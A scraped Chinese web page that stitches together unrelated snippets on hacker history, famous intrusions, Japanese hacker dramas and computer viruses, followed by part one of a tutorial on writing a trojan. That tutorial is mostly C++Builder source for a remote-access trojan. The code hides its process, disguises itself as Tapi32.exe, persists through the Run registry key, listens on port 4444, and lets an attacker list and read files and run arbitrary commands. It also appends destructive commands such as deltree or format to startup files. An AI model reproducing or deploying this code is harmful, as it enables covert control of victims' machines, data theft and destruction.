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日本黑客(日本黑客水平)

hacker2022-05-29 01:40:48最近新闻321
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黑客最早是怎么产生的?

提起黑客,总是那么神秘莫测。在人们眼中,黑客是一群聪明绝顶,精力旺盛的年轻人,一门心思地破译各种密码,以便偷偷地、未经允许地打入政府、企业或他人的计算机系统,窥视他人的隐私。这群“电脑捣乱分子”尤其喜欢在夜间连上调制解调器开始在网上寻找目标,象一群怯光的蝙蝠,扇翅滑过城市黑暗的夜,穿行于广袤无垠的网络空间。

其实,黑客成为人们眼中“电脑捣乱分子”的代名词,只是近几年的事。黑客的产生与变迁,有一语难以概之的复杂背景,并且与计算机技术的发展紧密相关。一部“黑客史”其实就是一部计算机发展的历史。

首先让我们来看一看人们对黑客的定义。黑客(hacker),源于英语动词hack,意为“劈,砍”,引申为“干了一件非常漂亮的工作”。在早期麻省理工学院的校园俚语中,“黑客”则有“恶作剧”之意,尤指手法巧妙、技术高明的恶作剧。在日本《新黑客词典》中,对黑客的定义是“喜欢探索软件程序奥秘,并从中增长了其个人才干的人。他们不象绝大多数电脑使用者那样,只规规矩矩地了解别人指定了解的狭小部分知识。”由这些定义中,我们还看不出太贬义的意味。那么,公众眼里“电脑捣乱分子”的形象又是如何形成的呢?这就需要了解黑客的发展史。

一般认为,黑客起源于50年代麻省理工学院的实验室中,他们精力充沛,热衷于解决难题。60、70年代,“黑客”一词极富褒义,用于指代那些独立思考、奉公守法的计算机迷,他们智力超群,对电脑全身心投入,从事黑客活动意味着对计算机的最大潜力进行智力上的自由探索,为电脑技术的发展做出了巨大贡献。正是这些黑客,倡导了一场个人计算机革命,倡导了现行的计算机开放式体系结构,打破了以往计算机技术只掌握在少数人手里的局面,开了个人计算机的先河,提出了“

计算机为人民所用”的观点,他们是电脑发展史上的英雄。现在黑客使用的侵入计算机系统的基本技巧,例如破解口令(password cracking),开天窗(trapdoor),走后门(backdoor),安放特洛伊木马(Trojanhorse)等,都是在这一时期发明的。

从事黑客活动的经历,成为后来许多计算机业巨子简历上不可或缺的一部分。例如,苹果公司创始人之一乔布斯就是一个典型的例子。

在60年代,计算机的使用还远未普及,还没有多少存储重要信息的数据库,也谈不上黑客对数据的非法拷贝等问题。到了80、90年代,计算机越来越重要,大型数据库也越来越多,同时,信息越来越集中在少数人的手里。这样一场新时期的“圈地运动”引起了黑客们的极大反感。黑客认为,信息应共享而不应被少数人所垄断,于是将注意力转移到涉及各种机密的信息数据库上。而这时,电脑化空间已私有化,成为个人拥有的财产,社会不能再对黑客行为放任不管,而必须采取行,

利用法律等手段来进行控制。黑客活动受到了空前的打击。

硬币有正反两面,黑客也有好坏之分。有协助人们研究系统安全性的黑客,也有专门窥探他人隐私,任意篡改数据,进行网上诈骗活动的下三滥黑客。现在,在人们眼中,黑客成为网上捣乱分子和网上犯罪分子的代名词,很大程度上是因为这些人总是用“黑客”自我命名和自我辩护。

然而,这些人是真正的黑客吗?真正的黑客是什么样子的?

让我们来看一看黑客的文化。

黑客文化精髓

黑客文化首先包含了自由不羁的精神。黑客在网络上自由驰骋,他们喜欢不受束缚,喜欢挑战任何技术制约和人为限制。黑客认为所有的信息都应当是免费的和公开的。黑客行为的核心,就是要突破对信息本身所加的限制。黑客就是那些在网络上对信息“劫富济贫”的人。从事黑客活动,意味着对计算机的最大潜力进行智力上的自由探索,意味着尽可能地使计算机的使用和信息的获得成为免费的和公开的,意味着坚信完美的程序将解放人类的头脑和精神。

其次,黑客文化也包含了反传统、反权威、反集权的精神。这是对60年代反主流文化价值观的继承。黑客蔑视现行电子世界的行为规则。他们认为这些规则并不能起到维持法律秩序和保护公共安全的作用,相反是为了获取利润和镇压异己,是不道德的,而他们自己是既有反抗精神又身怀绝技的天才,是电子时代的“侠盗罗宾汉”,他们有自己的一套行为准则。

史蒂夫?利维在其著名的《黑客电脑史》中指出的“黑客道德准则”(theHackerEthic)包括:

通往电脑的路不止一条

所有的信息都应当是免费的

打破电脑集权

在电脑上创造艺术和美

计算机将使生活更美好

这些都是黑客进行网上活动时心照不宣的“江湖规矩”。

几代黑客一直在为使电脑脱离集权化而抗争。他们为形成当今开放的计算机和网络体系结构做出了自己的贡献。60年代,第一代黑客聚集在大学计算机系的教室里,利用分时技术允许多个用户同时执行多道程序;第二代黑客在70年代发明并生产了个人计算机,领头人是苹果公司的创建人史蒂夫?乔布斯;第三代黑客中的许多人后来成为80~90年代的软件设计师,包括比尔?盖茨;第四代黑客就是现在的黑客,他们创造和发展了Internet,并试图使其变得更加开放和自由。

此外,黑客文化还包含了一种自命不凡的英雄主义。黑客是充满矛盾的一群人。他们遵循由来已久的查获缺陷并予以公开发表的传统。黑客朦胧地认为,通过自己从事的黑客活动,可以暴露网络的缺陷,提高人们对安全的重视。而被侵入者显然不这样想。对于社会上的大多数人来说,黑客是自作聪明的反社会分子,以破坏他人的生活为乐趣,毫不在乎自己的行为所带来的后果。然而,所有其他人的这些看法对于黑客来说是毫无意义的,黑客毫不在乎别人的评说,他们心目中的自我形象是一群绝顶聪明、超越规则的精英分子。黑客的原则之一是共享。他们自诩 为“盗火的普罗米修斯”,是“ 侠盗罗宾汉”的现代电子版,他们热衷于把被少数人垄断的信息送给大众共享。各种各样的黑客,骨子里都渗透了反叛的英雄主义思想,只要打开调制解调器、按动键盘,他们就有了反抗现行秩序和挑战现有权威的力量,就有豪情壮志油然而生。他们期待成为一种文化原型而被人们所认识。而显然,他们是否符合这样的

名声还有待历史和社会的评说。

黑客文化的未来发展

无论对黑客的行为如何评说,没有人能够否认黑客对计算机技术发展所作出的巨大贡献。而在这样一个崭新的、前所未有的网络时代,黑客文化何去何从呢?

目前,政府和公司的管理者越来越多地要求黑客传授给他们有关电脑安全的知识。许多公司和政府机构已经邀请黑客为他们检验系统的安全性,甚至还请他们设计新的保安规程。在两名黑客连续发现网景公司设计的信用卡购物程序的缺陷并向商界发出公告之后,网景修正了缺陷并宣布举办名为“网景缺陷大奖赛”的竞赛,那些发现和找到该公司产品中安全漏洞的黑客可获1000美元奖金。无疑黑客正在对电脑防护技术的发展作出贡献。

同时,黑客也正在越来越多地保护网络空间,使其免受非法闯入者和恐怖分子的袭击。正如一位黑客所言:“黑客爱电脑,他们希望电脑化空间平安无事”。

最近,《纽约时报》在一篇文章中称加州大学的研究生黑客为“数字交流新卫士”,并评论说,包括黑客道德准则在内的黑客文化也许会融合进商业化利用Internet的主流中。

真的会有这么一天,黑客文化也将成为“主流文化”中的一员吗?或者主流之外的空间才是黑客生长最适宜的土壤?黑客文化将去向何方?且让我们拭目以待。

今天晚上8点中央一台是不是被日本黑客攻击了??

貌似是的,中国的黑客们 。拿了那么的日本网站,日本的黑客,肯定会反击呢

日本的一个电视剧,关于电脑黑客的,其中坏蛋的子女从a到k

《血色星期一》故事讲述了一个有着当警察的父亲,有个两肋插刀的朋友还有个可爱的妹妹的天才高中生黑客高木藤丸,被卷.com83.入一起恐怖事件中后,与恐怖分子组织斗争的故事。

请问各国最著名黑客的名字??

70年代,一批当年北美大学生运动的领袖,西海岸反越战活动的积极分子,争民权的斗士渐渐参加了黑客队伍。黑客提倡了一场个人计算机革命,提出“计算机为人民所用”的观点。领头人为苹果公司创建人史蒂夫·乔布斯。

1979年,年仅15岁的凯文·米特尼克仅凭一台电脑和一部调制解调器闯入了北美空中防务指挥部的计算机主机。

1983年,美国联邦调查局首次逮捕了6名少年黑客,这6名少年黑客被控侵入60多台电脑,其中包括斯洛恩·凯特林癌症纪念中心和洛斯阿拉莫斯国家实验室。

1987年,美联邦执法部门指控16岁的赫尔伯特·齐恩闯入美国电话电报公司的内部网络和中心交换系统。齐思是美国1986年“计算机欺诈与滥用法案”生效后被判有罪的第一人。

1988年,美康奈尔大学研究生罗伯特,莫里斯向互联网传了一个蠕虫程序,感染了6000多个系统——几乎占当时互联网的十分之一。同年,在发现有黑客入侵军事网的一部联网电脑后,美国国防部切断了非保密军事网与阿帕网(早期互联网)之间的物理连接。

1989年,5名西德电脑间谍入侵美国政府和大学电脑网络。最后这五名西德人以间谍罪被逮捕起诉,其中3人被控向苏联克格勃出售他们所获情报。

1990年,“‘末日军团”(美一黑客组织)的4名成员因盗窃贝尔公司的911紧急电话网络的技术秘密而被逮捕。4名黑客中有3人被判有罪。

1991年,美国国会总审计署宣布在海湾战争期间,几个荷兰少年黑客侵入国防部的计算机,修改或复制了一些非保密的与战争相关的敏感情报,包括军事人员、运往海湾的军事装备和重要武器装备开发情况等。

1992年,“欺骗大师”(纽约市一少年黑客组织)因入侵美国电话电报公司、美国银行和TRW公司及国家安全局的计算机系统而被判有罪。

1994年,格里菲斯空军基地和美国航空航天局的电脑网络受到两名黑客的攻击。同年,一名黑客用一个很容易得到的密码发现了英国女王、梅杰首相和其他几位军情五处高官的电话号码,并把这些号码公布在互联网上。

1995年,“世界头号电脑黑客”凯文·米特尼克被捕。他被指控闯入许多电脑网络,包括入侵北美空中防务体系、美国国防部,偷窃了2万个信用号卡和复制软件。同年,俄罗斯黑客列文在英国被捕。他被控用笔记本电脑从纽约花旗银行非法转移至少370万美元到世界各地由他和他的同党控制的账户。

1998年,美国防部宣称黑客向五角大楼网站发动了“有史以来最大规模、最系统性的攻击行动”,打入了许多政府非保密性的敏感电脑网络,查询并修改了工资报表和人员数据。不久,警方抓获了两名加州少年黑客。三个星期后,美国警方宣布以色列少年黑客“分析家”被抓获。同年,马萨诸塞州伍切斯特机场导航系统因一名少年黑客入侵而中断6小时。

8月份,中国黑客大行动,抗议印尼对华人暴行。同年,因入侵银行计算机系统,中国镇江两黑客郝景龙、郝景文被判死刑。

1999年5月一月,美国参议院、白宫和美国陆军网络以及数十个政府网站都被黑客攻陷。同时,因北约导弹袭击中国驻南斯拉夫联盟使馆,中国黑客群体出击美国网站以示抗议。

2000年2月,在三天时间里,黑客使美国数家顶级互联网站——雅虎、亚马逊、电子港湾、CNN陷入瘫痪。黑客使用了一种称作“拒绝服务式”的攻击手段,即用大量无用信息阻塞网站的服务器,使其不能提供正常服务。

同月,日本右翼分子举行集会,企图否认南京大屠杀暴行,引起中国黑客愤慨,中国黑客连番袭击日本网站。

2月8日——9日,中国最大网站新浪网招致黑客长达18小时的袭击,其电子邮箱

日本逾600个组织遭网络攻击,被攻击的原因可能是什么?

可能是因为其他的国家故意攻击的,日本的敌人实在太多了,如果处理得不当,可能会遭受到别人的攻击。

一部关于黑客的电视剧,日本的

《血色星期一》

《血色星期一》是2008年10月由TBS电视台播出的一部电视剧,改编自龙门谅的同名漫画。主角高木藤丸由三浦春马饰演,故事讲述了一个有着当警察的父亲,有个两肋插刀的朋友还有个可爱的妹妹的天才高中生黑客高木藤丸,被卷人一起恐怖事件中后,与恐怖分子组织斗争的故事。《血色星期一》也是由龙门谅原作,惠广史作画的漫画作品,于《周刊少年Magazine》2007年17号开始连载。续集《血色星期一2》将在2010年播出。

http://baike.baidu.com/view/1900715.htm

推荐些有关 黑客、高智商犯罪、心理、悬疑、推理、之类的 日本电影

电视剧:

最近才更新完的《推理要在晚餐后》樱井翔,北川景子。

《Mr.brain》天才脑科学家,由木村拓哉和绫濑遥主演!好像是第三集有龟梨和也演出!

《神探伽利略》都是高智商犯罪!

《LADY 最后的犯罪心理分析官》由北川景子出演!对罪犯进行心理分析!

《富豪刑事1,2》深田恭子,本人不是太喜欢深田恭子的声音。

《金田一少年事件薄1,2,3》经典老作。

《新警视厅搜查一课9系第三季》《纪戊~警视厅特殊犯搜查系》是警察故事都蛮好!

《专业主妇侦探》

电影:

《死亡笔记》必看!!!!!!!

《东野圭吾三周连续SP》十一字杀人事件,布鲁特的心脏,回廊杀人事件,很经典!

《x圣治》没看懂!

《红手指》阿部宽的!

《宿命》也很好看!

《关于嫌疑犯x的献身》也叫《神探伽利略》,电影版的!

忘了,《白夜行》很精彩!《横山秀夫悬疑四部作2》只记得里面有小出惠介!

以上均是本人看过的,非复制,也认为很精彩的!希望会对你有帮助!!!

另外还有没看过的,目前下载在电脑里的:

《左目侦探EYE》《与恶魔契约的女人》

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

